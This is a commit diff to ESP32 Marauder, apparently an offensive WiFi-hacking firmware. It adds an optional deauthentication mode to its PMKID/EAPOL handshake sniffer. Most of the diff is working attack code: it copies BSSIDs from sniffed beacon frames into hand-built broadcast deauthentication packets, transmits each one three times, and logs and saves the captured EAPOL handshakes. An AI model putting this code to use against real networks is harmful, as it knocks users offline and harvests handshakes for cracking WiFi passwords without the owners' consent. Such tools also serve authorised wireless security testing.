PMKID deauth optional

esp32_marauder/CommandLine.cpp

@@ -262,6 +262,7 @@ void CommandLine::runCommand(String input) {
     // PMKID sniff
     else if (cmd_args.get(0) == SNIFF_PMKID_CMD) {
       int ch_sw = this->argSearch(&cmd_args, "-c");
+      int d_sw = this->argSearch(&cmd_args, "-d"); // Deauth for pmkid
       
       if (ch_sw != -1) {
         wifi_scan_obj.set_channel = cmd_args.get(ch_sw + 1).toInt();
@@ -269,8 +270,15 @@ void CommandLine::runCommand(String input) {
         Serial.println("Set channel: " + (String)wifi_scan_obj.set_channel);
         
       }
-      Serial.println("Starting PMKID sniff on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
-      wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
+
+      if (d_sw == -1) {
+        Serial.println("Starting PMKID sniff on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
+        wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
+      }
+      else {
+        Serial.println("Starting PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
+        wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_EAPOL, TFT_VIOLET);
+      }
     }
 
     //// WiFi attack commands

esp32_marauder/MenuFunctions.cpp

@@ -837,6 +837,7 @@ void MenuFunctions::main(uint32_t currentTime)
   // Get the display buffer out of the way
   if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF ) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
+      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AP_SPAM) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
@@ -866,11 +867,13 @@ void MenuFunctions::main(uint32_t currentTime)
       if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_PWN) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_ESPRESSIF) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_ALL) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_DEAUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AP_SPAM) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
@@ -910,11 +913,13 @@ void MenuFunctions::main(uint32_t currentTime)
       if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_PWN) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_ESPRESSIF) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_ALL) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_DEAUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AP_SPAM) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
@@ -946,6 +951,7 @@ void MenuFunctions::main(uint32_t currentTime)
   // This is for when on a menu
   #ifndef MARAUDER_MINI
     if ((wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
+        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AP_SPAM) &&
         (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
         (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
         (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&

esp32_marauder/WiFiScan.cpp

@@ -277,6 +277,8 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
     RunProbeScan(scan_mode, color);
   else if (scan_mode == WIFI_SCAN_EAPOL)
     RunEapolScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
+    RunEapolScan(scan_mode, color);
   else if (scan_mode == WIFI_SCAN_AP)
     RunBeaconScan(scan_mode, color);
   else if (scan_mode == WIFI_SCAN_TARGET_AP)
@@ -845,7 +847,10 @@ void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
   esp_wifi_start();
   esp_wifi_set_promiscuous(true);
   esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
+  if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
+    esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
+  else
+    esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
   esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
   this->wifi_initialized = true;
   initTime = millis();
@@ -2234,6 +2239,7 @@ void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
 void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
 {
   bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
   
   wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
   WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
@@ -2249,6 +2255,83 @@ void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
   }
 
   // Found beacon frame. Decide whether to deauth
+  if (send_deauth) {
+    if (snifferPacket->payload[0] == 0x80) {    
+      // Build packet
+  
+      uint8_t new_packet[26] = {
+                                0xc0, 0x00, 0x3a, 0x01,
+                                0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
+                                0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+                                0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+                                0xf0, 0xff, 0x02, 0x00
+                            };
+      
+      new_packet[10] = snifferPacket->payload[10];
+      new_packet[11] = snifferPacket->payload[11];
+      new_packet[12] = snifferPacket->payload[12];
+      new_packet[13] = snifferPacket->payload[13];
+      new_packet[14] = snifferPacket->payload[14];
+      new_packet[15] = snifferPacket->payload[15];
+    
+      new_packet[16] = snifferPacket->payload[10];
+      new_packet[17] = snifferPacket->payload[11];
+      new_packet[18] = snifferPacket->payload[12];
+      new_packet[19] = snifferPacket->payload[13];
+      new_packet[20] = snifferPacket->payload[14];
+      new_packet[21] = snifferPacket->payload[15];      
+    
+      // Send packet
+      esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
+    }
+
+
+  }
+
+  if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
+    num_eapol++;
+    Serial.println("Received EAPOL:");
+
+    for (int i = 0; i < len; i++) {
+      char hexCar[4];
+      sprintf(hexCar, "%02X", snifferPacket->payload[i]);
+      Serial.print(hexCar);
+      //Serial.print(snifferPacket->payload[i], HEX);
+      if ((i + 1) % 16 == 0)
+        Serial.print("\n");
+      else
+        Serial.print(" ");
+    }
+  
+    Serial.print("\n");
+  }
+
+  if (save_packet)
+    sd_obj.addPacket(snifferPacket->payload, len);
+}
+
+void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+
+  // Found beacon frame. Decide whether to deauth
+
   if (snifferPacket->payload[0] == 0x80) {    
     // Build packet
 
@@ -2259,10 +2342,6 @@ void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
                               0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                               0xf0, 0xff, 0x02, 0x00
                           };
-
-    //esp_wifi_set_mode(WIFI_AP_STA);
-
-    //delay(1);
     
     new_packet[10] = snifferPacket->payload[10];
     new_packet[11] = snifferPacket->payload[11];
@@ -2282,11 +2361,10 @@ void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
     esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
     esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
     esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-
-    //delay(1);
-    //esp_wifi_set_mode(WIFI_MODE_NULL);
   }
 
+
+
   if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
     num_eapol++;
     Serial.println("Received EAPOL:");
@@ -2772,6 +2850,12 @@ void WiFiScan::main(uint32_t currentTime)
       eapolMonitorMain(currentTime);
     #endif
   }
+  else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
+  {
+    #ifdef HAS_SCREEN
+      eapolMonitorMain(currentTime);
+    #endif
+  }
   else if (currentScanMode == WIFI_ATTACK_AUTH) {
     for (int i = 0; i < 55; i++)
       this->sendProbeAttack(currentTime);

esp32_marauder/WiFiScan.h

@@ -60,6 +60,7 @@
 #define WIFI_ATTACK_DEAUTH 20
 #define WIFI_ATTACK_AP_SPAM 21
 #define WIFI_SCAN_TARGET_AP_FULL 22
+#define WIFI_SCAN_ACTIVE_EAPOL 23
 
 #define GRAPH_REFRESH 100
 
@@ -315,6 +316,7 @@ class WiFiScan
     static void deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
 };

esp32_marauder/configs.h

@@ -7,9 +7,9 @@
   //#define MARAUDER_MINI
   //#define MARAUDER_V4
   //#define MARAUDER_V6
-  #define MARAUDER_KIT
+  //#define MARAUDER_KIT
   //#define GENERIC_ESP32
-  //#define MARAUDER_FLIPPER
+  #define MARAUDER_FLIPPER
 
   #define MARAUDER_VERSION "v0.9.9"